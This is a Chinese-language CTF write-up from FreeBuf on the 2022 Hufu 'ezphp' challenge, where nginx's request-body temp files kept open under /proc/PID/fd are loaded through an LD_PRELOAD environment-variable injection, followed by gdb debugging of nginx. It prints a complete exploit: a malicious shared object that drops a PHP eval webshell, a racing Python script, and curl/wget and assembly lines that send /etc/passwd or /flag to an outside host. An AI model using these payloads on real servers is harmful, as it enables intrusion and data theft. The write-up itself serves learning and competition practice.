freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

2022虎符CTF-ezphp分析
FreeBuf_339020 2022-03-21 18:17:44 239041
所属地 浙江省



题目分析

题目附件直接给了一个docker,方便本地部署直接docker起一个环境。简单看了下是一个干净的debian系统,代码就一个index.php

<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>

第一反应肯定是p牛的这个博客 我是如何利用环境变量注入执行任意命令,
但是里面注入的思路基本是不可行的(或者太菜了没调通。主要原因应该是debian系统依赖的是dash,无交互情况下暂时没啥思路。
但是p牛文章第一条就是LD_PRELOAD,如果可以控制一个文件(或者说一个文件的部分内容。我们可以通过这种方法劫持
4.png
然后开始漫长的找文件过程中

准备工作

1.1、生成一个so文件

注意这里面要加一个unsetenv("LD_PRELOAD");否则会陷入无限死循环

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}

如果出网可以改成

wget --post-file=/etc/passwd addr
curl -F file=@/etc/passwd addr

然后编译gcc -shared -fPIC 1.c -o 1.so
会发现这so正常是16k,但是有时候要文件大一些,有时候要小一点,有没有什么方法压缩和拓展呢。

1.1.1、怎么让一个二进制最小(本题没用上,单纯记录一下

最小肯定是汇编了

SECTION .data

filename : db "/bin/curl",0
argv1 : db "curl",0
argv2 : db "-F",0
argv3 : db "file=@/flag",0
argv4 : db "xxx.xxx.xx.xx:xxx",0

SECTION .bss
SECTION .text

global _start ;
_start:
mov rax,0x3b ;
mov rdi,filename ;
push 0 ;
push argv4 ;
push argv3 ;
push argv2 ;
push argv1 ;
mov rsi,rsp ;
syscall ;
main.o:
nasm -f elf64 -g -F stabs main.asm -o main.o
main:
ld -o main main.o

6.png
7.png

1.1.2、怎么让一个二进制大一些

刚开始任务是在c源代码里面写很多printf之类的,增大体积,当然这样也是可以的。
后面发现其实一个so文件尾部追加脏字符也是可以的

var=`dd if=/dev/zero bs=1c count=10000 | tr '\0' 'c'`
$var >> 1.so

8.png

2、寻找能生成的文件。

这里的docker里面工具很少,我们给他装几个

apt-get install inotify-tools
apt-get install vim
apt-get install procps

监听文件inotifywait -mrq --timefmt '%y %m %d %H %M' --format '%T %w %f %e' / -e create,delete,close,然后写一个脚本上传文件

files = open("1.so", 'rb')
url = addr+"/index.php"
#print(url)
requests.post(url, data=files)

其实这里就主要是看陆队的这个博客了 hxp CTF 2021 - A New Novel LFI,文章中有提到/var/lib/nginx/body文件的利用,开监听后会发现确实这个文件在跟随文件上传变化。
再看看文档 client_body_buffer_size
10.png
就很明朗了,当nginx接受的请求的body大于buffer的时候,会先将body存缓存文件中,防止内存不够。(因为中间发现文件有些奇怪,就调试了一下nginx最后会调用

src/os/unix/ngx_files.c:ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)

11.png
通过前方的inotifywait文件监控也可以看到这个文件的变化,我们发现在tmp目录下还会生成php{6位随机字母数字}的文件,但是经过计算复杂度,发现这种方法基本不可行。
9.png
但是看代码文件生成后正常是直接unlink的,但是这个文件会在nginx的fd中存留。
nginx在默认情况下是多个工作进程模式(如果单进程调试在配置中加master_process off;即可),我们在docker中ps -ef|grep nginx
12.png,我们判定这个文件是nginx生成的,那么我们寻找的是pid=12的文件,但是这里我们会发现没权限查看到www-data用户的链接
13.png
既然是自己的docker,我们直接加一个shell.php,用蚁剑连接,然后查看。
14.png
比如这里的18,就是我们要的文件,经过测试发现这个文件存留时间大概是1-2s,所以足够我们加载了,在文件上传的脚本中甚至可以写一个sleep(1)。
本以为很顺利,但是在实际过程中,因为刚开增加so大小采用的是printf的方式,发现很多次LD_PRELOAD到了文件,但是访问是空白的,于是我在shell上直接LD_PRELOAD="/proc/12/fd/19",发现是Bus error
15.png
感觉到是二进制文件损坏了,但是文件变化太快了,所以采用cp /proc/12/fd/19 /tmp/1/tmp/10
16.png
这里面2.so是源文件,其他文件或多或少都小了一些,导致文件损坏。至于为什么,文章最后调试给出原因。
这里才尝试了1.1.2、怎么让一个二进制大一些中通过其他字母填充。

3、2022虎符ezphp exp

1.c

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}
gcc -shared -fPIC 1.c -o 1.so 
var=`dd if=/dev/zero bs=1c count=500000 | tr '\0' 'c'`
$var >> 1.so

这里因为都是走docker,我们根据本地调试确定大概fd位置,其实如果不给docker的话还是要爆破一下pid
exp.py

import _thread
import time
import requests
addr="http://120.79.121.132:xxxx"
def tr1():
while 1:
files = open("1.so", 'rb')
url = addr+"/index.php"
requests.post(url, data=files)
time.sleep(1)
def tr2():
while 1:
for i in range(11,16):
response = requests.get(addr+"/index.php?env=LD_PRELOAD=/proc/12/fd/../../12/fd/"+str(i))
print(str(i)+" Response body: %s" % response.content)
time.sleep(2)
try:
_thread.start_new_thread( tr1,())
_thread.start_new_thread( tr2,())
except:
print ("Error: 无法启动线程")

while 1:
pass

如果加载到了返回是空,我们也可以依此判断是否成功。
2.png
然后去访问shell.php
3.png

4、关于nginx缓存文件为什么不完整

4.1、先搭建动态调试环境

先从这里下源码https://github.com/nginx/nginx
然后下载gdb工具,这里用从曹师傅那偷来的虚拟机里面直接pwndbg,也可以自己装

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
sudo ./setup.sh

然后源码做一些配置

  • 1、GDB调试Nginx,需要在生成Nginx程序时把 -g 编译选项打开。我们需要修改 /auto/cc/conf 文件 把 ngx_compile_opt=”-c” 加上 -g 选项 变为 ngx_compile_opt=”-c -g”
  • 2、因为nginx默认会有工作进程,我们如果只是想调试就可以关闭进程模式,使用单进程模式,修改文件 nginx.conf 。加入master_process off;

然后执行
./nginx -c /xxxx/conf/nginx.conf
然后ps -ef |grep nginx查看进程号,最后gdb -p xxx
17.png
尝试一下断点b ngx_file.c:ngx_create_temp_file
然后访问
18.png
作为菜鸡,只要记住小几个命令就行了
使用p命令,求值(打印)表达式:

(gdb) p r->request_line
$2 = {len = 14, data = 0x1f844d8 "GET / HTTP/1.1\r\nHost"}

20.png

使用ptype命令,打印struct或者class的定义

(gdb) ptype ngx_http_request_body_t
type = struct {
ngx_temp_file_t *temp_file;
ngx_chain_t *bufs;
ngx_buf_t *buf;
off_t rest;
off_t received;
ngx_chain_t *free;
ngx_chain_t *busy;
ngx_http_chunked_t *chunked;
ngx_http_client_body_handler_pt post_handler;
}

单步调试

s: 执行一行源程序代码,如果此行代码中有函数调用,则进入该函数;n: 执行一行源程序代码,此行代码中的函数调用也一并执行。

断点

info breakpoints / info break
break xxx
delete break id
d 删除所有断点
c 到下一个断点

查看函数栈

(1)backtrace: 显示程序的调用栈信息,可以用bt缩写
(2)backtrace n: 显示程序的调用栈信息,只显示栈顶n桢(frame)
(3)backtrace –n: 显示程序的调用栈信息,只显示栈底部n桢(frame)
(4)set backtrace limit n: 设置bt显示的最大桢层数
(5)where, info stack:都是bt的别名,功能一样)

查看内存
x/100c 0x55b0abf51000

pwndbg> x/16c  0x55b0abf51000
0x55b0abf51000: 65 'A' 65 'A' 65 'A' 65 'A' 65 'A' 65 'A' 65 'A' 65 'A'
0x55b0abf51008: 65 'A' 65 'A' 65 'A' 65 'A' 65 'A' 65 'A' 65 'A' 65 'A'

回到上面说的,我们要断点到ngx_create_temp_file()函数,然后查看栈

ngx_create_temp_file(ngx_file_t * file, ngx_path_t * path, ngx_pool_t * pool, ngx_uint_t persistent, ngx_uint_t clean, ngx_uint_t access) (/src/core/ngx_file.c:143)
ngx_write_chain_to_temp_file(ngx_temp_file_t * tf, ngx_chain_t * chain) (/src/core/ngx_file.c:114)
ngx_http_write_request_body(ngx_http_request_t * r) (/src/http/ngx_http_request_body.c:483)
ngx_http_request_body_save_filter(ngx_http_request_t * r, ngx_chain_t * in) (/src/http/ngx_http_request_body.c:1132)
ngx_http_request_body_length_filter(ngx_chain_t * in, ngx_http_request_t * r) (/src/http/ngx_http_request_body.c:921)
ngx_http_request_body_filter(ngx_http_request_t * r, ngx_chain_t * in) (/src/http/ngx_http_request_body.c:855)
ngx_http_do_read_client_request_body(ngx_http_request_t * r) (/src/http/ngx_http_request_body.c:292)
ngx_http_read_client_request_body(ngx_http_request_t * r, ngx_http_client_body_handler_pt post_handler) (/src/http/ngx_http_request_body.c:185)
ngx_http_fastcgi_handler(ngx_http_request_t * r) (/src/http/modules/ngx_http_fastcgi_module.c:748)
ngx_http_core_content_phase(ngx_http_request_t * r, ngx_http_phase_handler_t * ph) (/src/http/ngx_http_core_module.c:1247)
ngx_http_core_run_phases(ngx_http_request_t * r) (/src/http/ngx_http_core_module.c:868)
ngx_http_handler(ngx_http_request_t * r) (/src/http/ngx_http_core_module.c:851)
ngx_http_internal_redirect(ngx_http_request_t * r, ngx_str_t * uri, ngx_str_t * args) (/src/http/ngx_http_core_module.c:2530)
ngx_http_index_handler(ngx_http_request_t * r) (/src/http/modules/ngx_http_index_module.c:277)
ngx_http_core_content_phase(ngx_http_request_t * r, ngx_http_phase_handler_t * ph) (/src/http/ngx_http_core_module.c:1254)
ngx_http_core_run_phases(ngx_http_request_t * r) (/src/http/ngx_http_core_module.c:868)
ngx_http_handler(ngx_http_request_t * r) (/src/http/ngx_http_core_module.c:851)
ngx_http_process_request(ngx_http_request_t * r) (/src/http/ngx_http_request.c:2060)
ngx_http_process_request_headers(ngx_event_t * rev) (/src/http/ngx_http_request.c:1480)
ngx_http_process_request_line(ngx_event_t * rev) (/src/http/ngx_http_request.c:1151)

4.2、nginx缓存机制

最后通过调试nginx发现其实这个tmp文件也是分片分片进行追加的,每次追加的buf length是8192。
还记得我们之前失败的时候,转储的文件

(www-data:/proc/12/fd) $ ls -al /tmp
drwxrwxrwt 1 root root 4096 Mar 19 21:59 .
drwxr-xr-x 1 root root 4096 Mar 19 21:12 ..
-rw------- 1 www-data www-data 466944 Mar 19 21:58 10
-rw------- 1 www-data www-data 16384 Mar 19 21:58 11
-rw------- 1 www-data www-data 548864 Mar 19 21:58 12
-rw------- 1 www-data www-data 868352 Mar 19 21:58 2
-rw------- 1 www-data www-data 335872 Mar 19 21:58 3
-rw------- 1 www-data www-data 606208 Mar 19 21:58 4
-rw------- 1 www-data www-data 738125 Mar 19 21:58 5
-rw------- 1 www-data www-data 98304 Mar 19 21:58 6
-rw------- 1 www-data www-data 729933 Mar 19 21:58 7
-rw------- 1 www-data www-data 286720 Mar 19 21:58 8
-rw------- 1 www-data www-data 655360 Mar 19 21:58 9

原因

>>> 98304/8192 = 12.0
>>> 548864/8192 = 67.0
>>> 327680/8192 = 40.0
>>> 466944/8192 = 57.0
>>> 16384/8192 = 2.0
>>> 548864/8192 = 67.0

其实回到最初,为什么fd会有文件,也是因为如果一个进程打开了某个文件同时在没有被关闭的情况下就被删除了,那么这个文件就会出现在 /proc/PID/fd/ 目录下,也就是说nginx在代码上生成后是直接删除的,但是buffer这边还在慢慢追加文件,等文件完整了才会彻底消失,给了我们利用的时间。

# web安全 # nginx # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_339020 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_339020 LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录